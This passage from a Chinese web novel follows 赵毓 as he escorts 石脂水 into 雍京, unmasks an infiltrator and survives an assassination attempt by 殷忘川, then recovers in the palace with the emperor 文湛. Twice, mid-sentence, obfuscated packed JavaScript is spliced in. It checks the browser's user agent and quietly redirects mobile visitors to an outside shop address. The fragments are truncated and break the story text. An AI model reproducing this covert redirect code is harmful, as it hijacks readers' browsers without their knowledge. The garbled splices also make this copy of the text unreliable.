赵毓忽然正色问,“这次运石脂水进雍京,关系重大,大人是职责所在,我们小民虽然无官一身轻,可终究是大郑的子民,真出了纰漏,也脱不了干系。大人就不要玩虚的了,有什么事请直说。” 薛宣平一愣,“老赵,你怎么知道他话中有话?” 赵毓看了他一眼,不说,此时那位兵部的人立马正色道,“赵先生明白,那我直说。我这里的人都核查清楚,只除一人。此人的来历帖子上写着他出身进奏院,可我对进奏院一无所知,实在无法核查真假。” 进奏院。 原本是诸藩在雍京的官邸。 七百年前圣王鹤玉雄主暮政,晚年昏聩出了岸世之乱,朝廷为了应对设立几大节度使,却导致了之后将近两百年的藩镇割据。那几百年间,诸藩在雍京争相购置宅邸,名义上是官员进京述职的落脚点,并且负责诏书,奏折与各种军令的传递,实际上更是诸藩刺探雍京之所在。 宪宗皇帝重新统一江山,除去各种割据,进奏院名存实亡。 可这一称呼和一项重要功能却被朝廷保留了下来。 ——斥候。 前一段时日,赵毓为了给崔珩买火铳与他进西市,遇到了昔年西北故人荀某人,那人曾是西北军斥候,如今隶属进奏院。 赵毓点头,要过身份存疑那人的身份帖,薛宣平连忙举着马灯,他仔细看了看。 写在帖子上的文字完美无瑕。 年月,所属,同僚,甚至袍泽都对的上。 真的? 假的? 文湛忽然问,“哪个?” 赵毓一愣,转而问兵部那位刘姓官员,“是哪位?” 刘书吏抬手指了一下。 不远处,月光下,喧嚣的夜静寂了下来。那人青衣小帽,立与树前,像一条不合群的孤狼。 文湛,“假的。” 刘书吏一惊,“怎么说?” 文湛,“我没见过那个人。” 刘书吏,“进奏院那么多人,先生何以一口咬定?这关系到石脂水,关系到兵部,关系到元承行,尤其关系到进奏院,先生不能如此轻易妄下推断!” 文湛不再说话,仅仅微微抬眼,看着眼前这个聒噪的人。刘书吏不知怎么了,只觉得有一股气息,如同泰山一般,压迫的他无法喘气,他的双腿竟然微微颤抖,有一种强烈想要下跪的冲动! 后半夜见鬼了吗? 赵毓却知道文湛话语中的厉害。 如果说左相楚蔷生天生就是枢机宰辅的料,心思极其缜密,几十年宦海沉浮,灭了无数政敌而不留把柄,浩如烟海的奏折过手几乎毫无破绽,那么,作为他的主君,并且不会被这位宰相玩弄于股掌之上的帝王,文湛只会比他更缜密,也更强悍。 进奏院,大郑斥候,隐藏着无数秘密与真相,诸多人如同过江之鲫,也未必能窥探全部。他们不一定见过皇帝,可是依照文湛的性格与能力,他一定会将这些人的履历与脸,印刻在眼中与脑中。 此时,文湛说没有见过此人,那么,此人必定就是假的。 赵毓却心知,这些弯折不足为外人道,于是想了一个放之四海而皆准的理由对刘书吏说,“宁可错杀不可放过,抓!” 那名青衣小帽被捆绑了过来,赵毓蹲在他眼前,此人一言不发,这种安泰的样子倒十足像是进奏院出身。 “你们院子中的鲫鱼都还好吧。”赵毓忽然开口。 那人看着他,不笑,只是说,“我们那里没有鲫鱼,倒是有几条锦鲤,前代曹掌院从东瀛带回,已经活了七十五年了。” 赵毓沉默。 那人发问,“先生为何怀疑我是奸细?” 赵毓,“我没有怀疑。” ……我已经确定你身份有疑,至于是不是奸细,另说。 “先生不怕我身负密旨?” 赵毓哂笑,“不怕。” “为什么?” 赵毓,“密旨这种不可说的东西用来吓唬当官的,一吓唬一个准,可是对于我这种平头老百姓来说,还真没啥卵用。” 疑,有一就有二。 出了一个来历不清的人,必然会怀疑到其他人身上。 今天,石脂水适合进雍京吗? 如果不进城,到兵部的地窖中妥善保存,滞留在城外,一样麻烦。 赵毓想着,看见黄枞菖从马车那边过来,手中捧着牛皮水袋,双手递给文湛,——软肋,这么个大宝贝是真真切切的软肋。 皇帝在这里,应该一切万无一失,即使是泥路上的小石子都需要清除。 可是。 大批石脂水,本就没有‘万无一失’。 一盏茶之后,兵部送进城勘合的人到了。 那人骑马从雍京西门出,到了一里坡勒住缰绳,有些诧异的看着茶棚中被捆绑的人,“甘棠,你爬在泥地里做什么?” 赵毓,“怎么,这位大人,您认得他?” 那人滚鞍下马,将手中的关防递送过来,“兵部郎官,周从简。此人是我兵部的人,名叫甘棠,不知道他所犯何事?” 赵毓连忙验了关防,一切都是对的,他才说,“此人假冒进奏院的人。” 周从简虽然没有出声,却是相当意外。 不料,甘棠忽然昂头,看着赵毓,“赵先生,可否借一步说话?” 薛宣平动手将甘棠从泥地上提了起来,赵毓推着他远离众人走了几步。他们低声说了几句什么,赵毓皱着眉头寻思了一下,转身回来,先对着周从简与刘书吏施礼,说,“两位大人辛苦。今夜运送石脂水进雍京城,事关重大,我有个想法。” “……” 赵毓,“请两位大人带上关防随我进城。” 周从简,“我们其他人呢?” 赵毓,“就请在这里稍作休息,等城中一切安泰,再做打算。” 周从简,“赵先生,莫不是不信我们兵部的人马?” 赵毓点头,“是,不信。” 薛宣平没想到他如此直白!连个脸面都没给别人。 周从简脸色极其难看,刘书吏到还算和善。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728990|189581||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 赵毓,“目前的事要说什么确凿的证据,我也是没有的,只是有些蹊跷。事关重大,五更在即,实在没时间一一反分辨。事有轻重缓急,将石脂水平安送进雍京城才是重中之重,其他,另做打算。” 周从简,“如果说赵先生不信我们,可,我们如何相信赵先生?” 赵毓,“您眼前的这些石脂水是我元承行从西疆万里迢迢运到雍京城外,期间穿过戈壁沙漠,在玉门关外挡住几次伏击,如果这些都不能取信于周大人,那么,我也无话可说。” 周从简不语。 赵毓,“如果周大人愿意听从我的想法,万一出了纰漏,大人可将责任向我身上一推了之。不过,如果周大人不听,那么,要是有个山高水长的,大人可要一力承担。” 周从简思了一下。 赵毓,“大人以后前途似锦,想来如今也不想给自己凭空添上一份麻烦,以后吏部核查,次次都是难关,大人凌烟阁这条阳关道,走的就不是那么顺畅了。” 除了周从简,刘书吏与甘棠之外,兵部的人马全部留在原地。元承行的人接手全部石脂水,薄弱的地方则由便装的御林军接替。押送石脂水进城的人马居然也是浩浩荡荡的,却几乎毫无声息。 赵毓回身上马车,文湛早已经登车,他一进来,文湛问,“凌烟阁?楚蔷生尚且不敢有如此妄念。” 赵毓,“这就和过年说日进斗金一样,好话嘛,大家互相捧,花花轿子人抬人,热闹。” “凌烟阁。”文湛,“一层一道鬼门关。” 赵毓,“……” 五更。 雍京西门大开。 进城! 虽然薛宣平说此时的雍京城,已经是撒呓挣的都各回各家,各找各妈去了,可是,今夜却不同。 南城依旧歌舞喧腾,西市也是人来人往。赵毓没有按照之前约定的路线进城,而是在车马进雍京西门之后,立刻转向北城。 马车一停,薛宣平从外面撩起帘子,“老赵,不要命了是吧。这里是北城! 赵毓平静的说,“北城好,北城人少。” 薛宣平,“但凡有个万一,石脂水在这里炸了,祸害的全是穿紫袍的大人们,咱们可真就吃不了兜着走了。” 赵毓,“南边那里都是人,路堵着,车马过不去。再说,石脂水要是有个万一,炸在北城,比炸在南城死的人少,少得多。” 薛宣平,“……” 雍京北城这里住的全是王公权贵,宅子大,人却少,异常稀松,适合人马快速通行。兵部这些石脂水在权门林立的深宅大院之间畅通无阻。街道上几乎空无一人,只有几个更夫,手中的破锣的声音穿过张牙舞爪的石狮子,深锁的朱门,颤悠悠的飘了进去,——天干物燥,小心火烛! 赵毓给文湛拿着水囊,让他多喝几口,“酒喝多了,半夜口干舌燥,你多来点水。” 文湛,“我见你把黄枞菖留在西门外,让他盘查那些进不了城的人?” 赵毓点头,“筛两遍,不一定有什么。” 文湛,“你带进城的这三个人,哪个有问题?” “一会儿就知道了。”赵毓,“石脂水入库之前,他一定会出手。” 刚出天玑,忽然一辆车子的车轴断裂,押车带有负责修补的工匠,他们连忙动手,赵毓趁机也让大伙儿都歇口气。 前面不远,就是兵部放石脂水的库房。 赵毓到夜里看不清楚,而薛宣平一张锅饼子大脸上的两只绿豆眼立刻身负重任。他左瞧右瞧,相人相面,在浓重的夜色中忙的不亦乐乎。 文湛微微抬起帘子,又看了看薛宣平,此时他当真放下心来。——承怡在西北如果一直都是此人伺候起居,那当真是,没有小厮侍奉枕席的福气了。 赵毓凑过来,“你瞧什么?” 文湛,“我在看薛先生。虽然相貌不出众,却顺眼,不错。” 赵毓,“……??” 夜幕的掩盖之下,一双手,拿着火石,想要点燃石脂水坛子垂下的一根引线。 忽然。 一柄刀削了过来。 引线断开,掉落马车轱辘后。 甘棠手握刀柄,锋刃指着那双手主人的脖子,“刘书吏,你想做什么?” 刘书吏看着赵毓,从前面的马车上下来,手中拎过身边那个胖子递送过来的马灯,一步一步走过来。 马灯在刘书吏的面皮上仔细照了照。 赵毓笑着说,“倒是不慌张,看来是老手。” 刘书吏,“你怎么识破我的?” 赵毓手指了一下他手中的火石,没应答。 刘书吏,“你为什么相信甘棠,你不是说宁可错杀不可放过?” 赵毓,“甘棠的确不是进奏院的人,但是,身份成疑,未必就是奸细。” …… 方才,城外。 甘棠将赵毓叫到一旁,“我不知道赵先生如何认准我不是进奏院的人,我自问应答没有疏漏。” 赵毓,“的确,你是没有疏漏。不过,这不重要。我也不认为你是细作。” 甘棠,“为什么?” 赵毓,“你太显眼,像个活靶子。要是斥候细作都是你这样的,进奏院早就关门大吉了。” 甘棠,“我是宁淮侯属官。” 赵毓一挑眉。 甘棠,“侯爷感知此行不太平,命我一路跟随。” …… 赵毓,“刘书吏,当时在城外,你抛出甘棠,只是个障眼法。你也知道当时那种情形,是个人都会宁可错杀不可放过,这是人之常情。再加上甘棠也的确有问题,所以这个活靶子可以很好罩住你。可惜,……” 他一挥手,后面有御林军校官上前,将刘书吏押住。 “赵毓,你不问问我是谁?” “没空。”赵毓转身,不过走了两步,忽然停住,“你要是想说,我可以勉为其难,听一听,你,……” ——嗖!利刃破空的声音。一道羽箭好似承受万钧之力,切开夜幕,直插刘书吏的后心。赵毓依着马灯的光,看着箭刃穿透了刘书吏的胸口,活生生的钻出头来,血流如注,他甚至没有来得及出声,一条性命顷刻之间死于当场。 此时,十根利箭裹着沾满了油脂的棉纱,点燃,带着球一样的火团破空而至! 却。 被十支来自同样方向的羽箭所击灭。 冲天大火湮灭于无形。 那一瞬,赵毓不知道面对的是敌是友。 夏夜竟然带着严冬的寂与默。 五月初五,上弦月。 如钩的清冷月光下,一人残影立于朱门飞檐之巅。 “承怡。” “多年未见。” “别来无恙?” 133. 133 133 十三年前。 殷忘川在什叶镇与赵毓联手击退霍图部骨力裴罗,赵毓有一个月的空闲,在等待征西主帅李钧麒主力那段时日,他与殷忘川相约,从天山到敦煌游历四方同时绘制战时地图。 莫高窟。 一个佛洞正在开凿。 这里有一些工匠,几间草屋,还住着一个大和尚。 赵毓和殷忘川就在这里借住。作为旅人,他们不用付银子或者丝绸,却需要动手做一些事情抵房钱饭钱。 殷忘川握刀的手艺不错,所以,砍瓜切菜挖土豆的活儿都是他的,当然,平时无事,顺带还要帮助工匠们为佛像凿开最外面的一层粗粝的巨石。 赵毓手无缚鸡之力,连饭都不会做,所以,大家只要觉得他不再一旁裹乱就是万幸。于是,每当众人做工做的热火朝天,他就端着一个瓦罐给大家端水,不忙的时候,则是手中捧着一个红柳条的小筐,放着蜜饯,安静的坐一旁,看着佛像的脸一点一点从山体中被雕刻出来。 “这是大秦的马队带来的枣椰,波斯产的,比凉坡那边的枣子大,也甜,特别贵!小殷,你不尝尝?” 殷忘川用布条扎着头发,因为没有用心梳理,落下来一缕,垂着眼旁,他没理睬他,只是低头认真凿着石块。 赵毓,“等以后西疆太平了,丝路通了,我要把这种枣子卖遍全江南!” 殷忘川,“你不回雍京了?” 赵毓,“江南热闹,人多,货物多,银子多。” 殷忘川连头也没有抬,“你以后都不回雍京了吗?” 等了好久,赵毓吃完了三颗枣椰,把篮子放在一旁,拍了拍手,才说,“路断了。人这一辈子,想要过的去,就得向前走。” …… 赵毓在看到殷忘川的第一眼,下意识退到马车旁边,从里面抽出大郑军方使用的警示烟花,以火折点燃。 登时,晃眼的火珠子直冲夜空。 整个雍京城的守军都被照亮,禁卫军似荒原上的野火一样,迅速向这里蔓延! 可惜。 来不及了。 殷忘川是昆仑教王,曾经是一千人乱斗的修罗场中爬出的唯一胜利者。他的武力没有任何花拳绣腿,甚至没有‘守护’的灵魂,那就是六道轮回中的地狱道,除了残杀就是吞噬。 这是一场屠|杀。 殷忘川仅凭借一人之力,在半炷香之内,徒手已经将赵毓今天带来的人击杀过半! …… 敦煌的夜晚犹如寒冬。 风吹过。 黄沙扬起,飘散,而山巅之上,佛像的脸在尘埃中逐渐显现,颇有普度众生之庄严宝相。 赵毓仰头,“哎,小殷,没藏大师说,你终究会放下屠刀立地成佛的。” 殷忘川则是飞起,落在山巅上,平视着这尊佛像,“那个大和尚还说什么?” 赵毓,“没准你还能开宗立派。” 殷忘川,“他没有说过,让我给他多削几个土豆,正午吃饱,方好持斋?” 赵毓点头,“嗯,也顺带着说了一句。” 殷忘川从山巅跳了下来,“说来说去,还不是让我给他多做几餐斋饭?” 赵毓疑惑,“小殷你这手艺从哪里学来的?” 殷忘川,“我是修行者。那个大和尚开坛讲经头头是道,却连饭都不会做,实在当不起修行者。” 赵毓,“修行者都会做饭?” 殷忘川,“修行,修的是自身,也修的身外。不会做饭就去炼出做法的本领。一根青菜,一粒大米,一颗土豆都有自己的生命,既然将它们吃掉,吞噬了它们的生命,那么就要有更宽广的肚腹,不然,青菜大米土豆岂不是白白死去?” 赵毓,“呃,……” 殷忘川,“那个大和尚说你什么?” 赵毓,“他说我是孔门弟子,不入释门。” 殷忘川,“好话。” 赵毓,“没藏大师和我说了别的事。” 殷忘川,“什么?” 赵毓,“西疆六百多年的战乱,怎么也无法平息,因为我们都错了。” 殷忘川,“对的是什么?” 赵毓,“没藏大师说,我大郑圣贤无数,教化万千,为什么不试试?” ……这是比兵戈更柔和,却是更加强悍的征服。 …… 殷忘川以手指为利剑,直刺赵毓左心! 却。 被一柄长剑割开攻势。 赵毓就感觉身体一轻,被拎起来推到马车上,而他的身前则挡着一个人。 文湛! …… 赵毓接到尹名扬飞鸽传书,他展开密文,扫了一眼,将纸卷凑到油灯旁,点燃,烧成灰烬,“征西主帅李钧麒已经到河西,据说情势不错,我得回去了。” 他将自己随身带着的名贵草药都留在这里,还有一根关外八两山参。“小殷,我知道你能耐高,可是,俗话说,双拳难敌四手,好汉架不住人多。以后能不要动手就别动手了。我给你留点药,都是我们那边的好玩意儿,你以后要是被人打废了,这颗老山参可以救命。” 殷忘川手中一块玉料,正在认真雕着什么,“不打,有了争端怎么办?” 赵毓,“聊一聊呀。只要互相弄不死,大家就是朋友了,坐下来喝盏茶,好好说一会儿话,事情就能办了。” 殷忘川,“还说不通呢?” 赵毓,“那就喝酒。你我哥俩好,几缸黄汤下肚,仇人也成了上辈子走失的亲兄弟了。” 殷忘川,“喝酒也没用,怎么办?” 赵毓,“那就只能先下手了。” 殷忘川没说话,甚至连冷哼都欠奉。 赵毓,“哎,我说,大和尚他们的活儿不是做完了吗,你手中拿着块玉雕啊雕,雕啥呢?” …… 文湛会武。 大郑祖训,凡入毓正宫的学子,无论是否出身皇族,一概习武。因为,即使大郑文人执政,战争却从来都是贵族的权力和游戏。 文湛在武学上有造诣。事实上,皇帝的这种身手,远不是花拳绣腿能比。可以灭叛将,也可以挡刺杀,只是,面对殷忘川,还是单薄了。 殷忘川像是不想立刻杀人,他攻击文湛似乎只是想要吸引更多的禁卫军来送死!周围的人如同瓜菜一般死去。 皇帝手中的剑挡不住殷忘川。 昆仑教王一只手就将文湛手中的长剑折断,碎成千万片。 殷忘川飞花摘叶可夺人性命。他从死尸手中拿过一根破碎的黄金凌翅鸟尾羽做的箭,冲着文湛的咽喉直刺过去! …… 赵毓,“咦,这是上好的和田籽玉,比昆仑矿脉开出来的大料还要好!” 殷忘川,“你头发上只|插|根木棍挽头发。不管怎么说,承怡你终究是做过亲王的人,再落魄,也不至于像人市上待价而沽的奴隶。这支钗,给你的。” 赵毓,“呃,可是,这玩意儿只有个头儿,什么时候才能雕好?” 殷忘川,“你先回云中,等西疆太平了,过来拿。” …… 殷忘川手中的残箭刺入! 千钧一发之际,赵毓推开文湛,他的左肩插|入那根残箭,伤深入骨,他以自己身体做鞘,固住殷忘川的攻势,与此同时,右手抬起,握弩,直接对准教王的右眼,手指下行,扣住扳|机! 砰! 弩|箭离弦! 常人必死! 可是,殷忘川不是常人。没有人看清楚殷忘川如何躲开,那是妖魔一般的速度,顷刻之间,他已经站回朱门飞檐之上。 挥手。 指尖星辉浮动。 一根玉钗,从朱墙屋檐之上回旋而下,劈开赵毓束发的红莲玉扣,落于地面。 龙骑禁军赶到。 黑色的铁甲如同铁幕,合围,笼罩四周。 殷忘川即使是修罗转世,刺杀的时机已经逝去。他一直看着黑甲环绕中的赵毓,如同被黑色滔天洪水间隔的两个人,冰蓝色的眼睛,没有任何温度,仿佛北境外无边无际的封冻冰河。 雍京城敲响晨钟。 百年鼎鼎世共悲,晨钟暮鼓无休时。 程风双手捧血书跪于大正宫午门。 同时,南城百尺戏楼上垂下一巨大白色的条幅,条幅的尽头垂着一个女孩子,已经死去,绳索绞住她的脖子,头发披落。前一刻还在欢喜的人群发出尖叫,钱塘潮水一般涌动四散逃命。 伴随着雍京的晨曦,条幅上红色的大字分外恐怖,鲜血淋漓。 ——冤!冤!冤!! …… 赵毓左肩的伤极重,即使是太医局的谢翾飞能起死回生,将所有嵌在肉中的断箭细碎完全清理出来,也是一天一夜之后了。 喝了安神的药汤,赵毓开始发热,一直昏昏沉沉,面色倒是安宁,不像死了,倒像是睡着一般。只是,当汤药的功效过了之后,整个左肩和手臂如同被人用刀子一点一点割筋肉骨髓的疼痛,赵毓忍不了。 他从床榻上坐起来,右手一把扯住旁边的黄枞菖,“陛下呢?” “微音殿。”黄枞菖连忙扶着他的后背,让他坐的舒服一些,“见您醒了,已经让人去请了。” “别,……别叫他。”赵毓推他,“你去门口望风。” 黄枞菖,“干,干嘛?” 赵毓,“我自己弄弄,发发汗。” 黄枞菖,“……??” 他虽然是内宦,但好歹也算是个正经人,听见赵毓这些话,脸上红白乱变,真不是个颜色。 黄枞菖,“不是,那个,这个时候,祖宗您还伤着,您,那个,悠着点儿,……” 赵毓推着他起来,“别扯淡了,快去。” 黄枞菖见他当真要撩衣服,赶紧向外走,直接到寝殿外。 站了一会儿,就远远看见文湛回来,不知怎么了,他心中一咯噔。他想起赵毓,即使他性子乖张,此时也有些反常,于是下意识向里跑,可是又想起赵毓的嘱托,不能空着门,只能站定。 黄枞菖心里砰砰乱跳,皇帝走的极快,犹豫着,就看见文湛到眼前了,于是连忙跪地,“主子。” 文湛,“你怎么在这里?承怡呢?” 黄枞菖,“呃,他在,……,那个,……” 文湛本来没耐心听,可是黄枞菖的只言片语飘了一耳朵进来,他大致想到了什么,一只脚踏进寝殿,随即转身出来。 雍京这几天阴雨连绵,大正宫天承殿重檐庑殿顶,五脊四坡垂着水。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16728991|189581||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 一柱,两柱,…… 雨水有一种蒸凝的气息,却混淆了一丝奇异的香气萦绕于鼻尖,…… 文湛急急忙忙进寝殿,就看见赵毓拿着一杆镶着红宝石烟嘴的烟枪,正在用蜡烛烧|鸦|片膏子! 去年抄沈臻的家,有一大批上好大土,本来应该全部销毁,文湛没注意到,赵毓居然私藏了几盒子烟土。 所幸,赵毓还有一丝理智尚存,没往嘴巴里面送。 赵毓看见文湛,手指一松,烟枪掉落在地面上,红宝石烟嘴磕在地面上,金石相撞的声音,带着切割咽喉的锋利,消弭在九重深宫中。 文湛一把扯起来赵毓,扬起了手,——后悔,生气,愤怒,最后淹没在心疼当中,扯着他的心,早已经碎成齑粉,沉默着,手却终究落不下来。 黄枞菖跟着进来,腿都软了,直接跪爬在寝宫的地面上。 “想打我?”赵毓忽然嚷了出来,“动手啊!向这儿打,千万别手软!” “我自己都想动手了。我受伤你也只是心疼而已,可是如果你受伤,我万死难辞其咎!” “陛下!” 堵在赵毓心头的恐惧终于宣泄了出来,“那天不应该让你去,我不知道殷忘川进关了,……,要是你伤了,要是你伤了,伤了,……,我死了也没脸去见老爹,去见大郑的列祖列宗!” 文湛,“承怡!” “你还不明白吗?”赵毓,“陛下!你是大郑的皇帝,你就是大郑王朝!其他人,所有人,你的亲人,爱你的人,甚至是你爱的人,我们所有人全部都是你,你头顶的天子十二旒,你身后大正宫的奴隶!” “生生世世都要为它们卖命!” “生生世世!” “不死不休!” …… 良久。文湛将赵毓推开,俯下|身体,将散落地面上的烟枪和烟灯拿起来,连同那盒子烟土,一并令黄枞菖仔细收起来。 赵毓扶着垂着帷幕的栏杆,“你怎么不毁了这些脏东西?” 文湛,“这是你的东西。” 赵毓忽然问了一句,“你不怕我再忍不住,烧鸦片膏子?” 文湛,“怕。” 赵毓,“那你还,……” 文湛想要说什么,又觉得距离太近,他说不出口,于是退开两步,“承怡,如果,你可以选择的话,你是不是,永远不会回雍京?” “是!” 赵毓斩钉截铁,没有半分丝毫犹豫。 “……” 许久。 “因为我是你的主上,所以,只要我心悦你,你就没得选。”文湛边说,向外走,“承怡,我让他们煮了安神汤,也温了米酒,你喝下能镇痛,鸦片不要碰。” 赵毓见他要走,“去哪里?” 文湛,“徐绍出事了,北境军情紧急,我还得回微音殿。” 赵毓坐在床榻上,垂着脑袋,披头散发,狼狈不堪,像一只斗败的乌鸡。他听见文湛的脚步声越走越远,最终湮灭。 “我没得选,不是因为你是主上,是君父。”他自言自语,“你是皇帝也好,是三条腿的□□也好,是猫是狗也好,我都认!” “……,也只能认。” “文湛,我的心在你身上,你在哪儿,我只能在哪儿。” 游丝一般的声音飘了出来。 寝殿外,黑色琉璃瓦的廊檐下,文湛就站在那里。 他听到了。 却没有回去,而是抬头,看着天空。 此时,大正宫重檐上浓云密集,暴雨倾盆而下。 皇帝于雍京北城被刺杀未遂,最后甚至动用龙骑禁军的消息被围的密不透风,可是程风状告北境总督徐绍,为夺取北境军权私杀友军,为掩盖滔天罪行将幸存者程氏一家灭门的消息却不胫而走。 程风跪于午门呈折;南城百尺戏楼上有人垂尸死荐。北境本来就内有强藩外有强敌,徐绍是一道屏障,可如今这道屏障因为程风和南城百尺戏楼的垂尸显得摇摇欲坠起来,内忧外患的局势越加糜烂。 微音殿的烛火烧了三天三夜。 除了烧出一群面如纸皮人的重臣们,其它什么也没烧出来。 文湛让他们都散了。 回到寝殿的时候,赵毓终于睡了,也安稳了一些。他的左手和肩膀那边缠着布,裹着药,浓重的药味连熏香也盖不住那股血腥的刺痛味道。赵毓侧着身躺着,嘴巴有些嘟,好像睡梦中还在生气。 ——承怡娇气,最怕疼,也最讨厌疼。 小的时候,一点点伤、一点点疼都让他撒泼打滚,哭喊吵闹,不把大正宫搅闹个天翻地覆决不罢休。 而现在,…… 文湛屏退了周围的人,就坐在赵毓床前的脚踏上,抬起手指,轻轻沿着他的眉间描画着,像是怕惊醒他一般,收回,却被赵毓下意识抓住了。他还睡着,唯一能动的右手抓着文湛的那只手,心安理得到理所应当一般,缩在被子里面,像是珍藏的瑰宝,绝不示人。这一次,他连呼吸都平稳了,药的味道也不再带着割肉一般的刺痛,反而柔和安宁了起来。 文湛任由他拉扯着,端正坐在脚踏上,向着寝殿的雕花门望出去,大正宫岿然不动。 雨幕中。 九重宫阙参差见,百二山河表里观。 134. 134 134 晨光一缕。 “麻不麻?”赵毓拽着文湛的手,从被子中伸出来,手指在他的掌心轻轻打着圈儿,“你一晚上就坐在这儿,没睡会儿?” 文湛起来,坐在床上,抬手把赵毓额间的碎发向后抚了抚,“就这样,挺好。” “文湛。” “嗯?” “知道我在想什么?” “不知道。” 赵毓咯咯笑了几声,“如果咱俩现在上床榻弄弄,我这只有一只手,揽不住你的脖子,你要是太用力了,我的脑袋会不会撞后面的木头柱子?” 文湛,“……” 赵毓,“这一下子一下子的,要是你劲头上来了,撞的也挺疼的。我这只手,……”他说着,把唯一能用的右手举高,晃了晃,“……,是先抱着你,还是先捂我的脑袋?这也挺难决定的。” “……” 赵毓,“文湛,你怎么不说话?” 文湛把赵毓那只能动的右手握住,放回了被子里面,松开后才说,“以后我轻一些,……,还有,我会抱着你,不会让你揽不住,别担心。” “文湛,我回来不是因为你是主上,……” “嗯。”文湛点头,“我听到了。” 赵毓,“……” 过了好半天,赵毓才说,“听到了,怎么不回来?” 文湛,“下雨了。” 赵毓,“……” 文湛,“我想赏雨。” “……” 赵毓,“雨很大吗?” 文湛点头,“大正宫已经看不真切了。” 赵毓,“后来看到了吗?” 文湛,“看到了。” 赵毓,“是雨水停了吗?” 文湛,“雨没停,大正宫却显现了出来。黑色琉璃瓦被打湿,颜色重,雨幕遮挡不住。” “果然,……” 赵毓,“在我们出生之前,大正宫已经屹立千年;以后我们两个尸骨成灰,它还是这个德行,我想着,连这宫殿台阶石头上的苔藓的颜色都不会变。” …… 我们都是它的奴隶,生生世世为它卖命,不死不休! …… “嗯。”皇帝只是轻轻应了一声。 “文湛。” “嗯?” “我左手可能废了,……”赵毓抬右手,抓住了重伤的左肩,“我得见见他。” 文湛自然知道赵毓口中的‘他’是谁。那是皇帝封了整个雍京城也搜不到的殷忘川,却是赵毓一封手书就可以现身的故人。 …… 赵格非不用去谢氏学堂,黄枞菖告诉她,今天宴请一位极特殊的客人,将要动用赵毓之前的王府,而且,她也需要出席。 她坐着马车,从大正宫中缓缓驶出。 雍京北城,权贵云集。 朱门高墙围住了外人看不见的雕梁画栋,数不清的亭台楼阁;也遮挡住了上千年来众多家族的胜败兴衰。 马车停下。 禁卫军早已经将祈王府四周几条街道全部清场,四周空荡荡,不见人烟。 赵格非下车,抬头。 几乎要划破天际的那块百年黑檀木匾额,上面用黄金浇筑的三个大字:祈王府。 ——竟然耸着双层黑色琉璃瓦! 大郑祖制,岐山神宫与太庙使用三层琉璃瓦,大正宫是双层琉璃瓦,而其它王公的府邸,则是单层黑色的瓦。即使是权倾朝野的越筝,敢与东宫争,敢僭越使用黑色琉璃瓦盖顶,撑破了天,雍王府也不过是单层琉璃瓦,而祈王府则是双层琉璃瓦。 大郑祖制煌煌,不要说一座宫殿,即使是一片瓦,一块砖,一段雕花,或者仅仅是围墙的颜色都被规矩拘束的死死的,擅自改动一丝一毫都是欺师灭祖!而祈王府的建造却凌驾于一切规矩之上。 祈王府的正门比其他朱门高出一个阁楼。祈王府铺地的方砖是太湖金砖,与大正宫,太庙,太|祖、太宗的皇陵等同。祈王府的书柜全部是紫檀木黄金锁,与大正宫等同。 …… 王府中门大开。 祈王府的正殿就在眼前。——正殿是重檐歇山顶,又名九脊顶,与大正宫微音殿相同,在规格上仅次于重檐庑殿顶,而此种宫殿,千载来大郑王朝只有一座,就是历代帝王大朝会时方开启的大正宫天承殿。 ——谁才可以安然住在这里,不怕天威难测,灭族大祸? ‘宠冠诸王’的祈王?可是,那个人,是谁?一个早已经湮灭在民间传说中的倒霉蛋,还是一层早已经被赵毓撕扯掉的皮?又或者是被赵毓隐藏起来的一张面孔,一张,他真正的面孔? 赵格非被黄枞菖带进小沧浪喝茶,小半个时辰,赵毓到了。他身上是黑色缂丝常服,左手用黑色丝绸裹着,吊在脖子上,而整个左肩则泛着浓重的药味儿,浓到已经带着苦涩的血腥味道了。 赵毓不是很精神,坐木圈椅上,一言不发。 黄枞菖给他温好了药汁,用碗装好,放在他手边,他拿过来直接灌进嘴里面,放下碗忽然说,“闺女,让你黄瓜叔给你讲讲今天客人的来头。我得到外面迎迎,估计那人也快到了。” 说完,他起身出小沧浪,过了飞虹桥,穿过一大片曼陀罗花树,最后到了王府正门,安定的站在门框里面。 小沧浪中只有黄枞菖对着赵格非,他没说话,就是拿着一块白布蹲在墙角擦墙根。 赵格非,“……??!” 黄枞菖擦的十分仔细,墙根那里不要说土了,连青砖都快要被他擦白了。 “黄瓜叔?” 此时,黄枞菖犹如一条将要赴死的糙汉子一般,将白布搭在肩膀上,以将要咽气的声音,佐以将要蹬腿的表情,开口,“姑娘记得有一天早晨,您到玉熙宫,不巧见到了圣上,说了一句大话。” 赵格非,“……??” 黄枞菖,“您说,王爷从不买妾。” 赵格非,“这不是大话,这是实话。” 黄枞菖,“圣上回了您一句话,您还记得?” 赵格非稍微回想一下,当时文湛说的是,——格非,你爹之前的身份是先帝亲自下诏册封的亲王,那是大郑最高门第的公卿。难道,你以为拥有这样王爵的人,与山中落魄书生一样吗? 于是,她点头。 黄枞菖,“圣上没反驳您,其实,您说错了。” 赵格非,“……?” 黄枞菖,“今天来的这位,就曾经是祈王府的人,而且是过了明面的。” 静。 似乎,掉根针都能听见。 半晌,赵格非说,“六叔,他知道吗?” 黄枞菖,“知道。什么是过了明面,就是说此人的身契还是当年圣上做储君的时候察验过的。” 赵格非,“……” 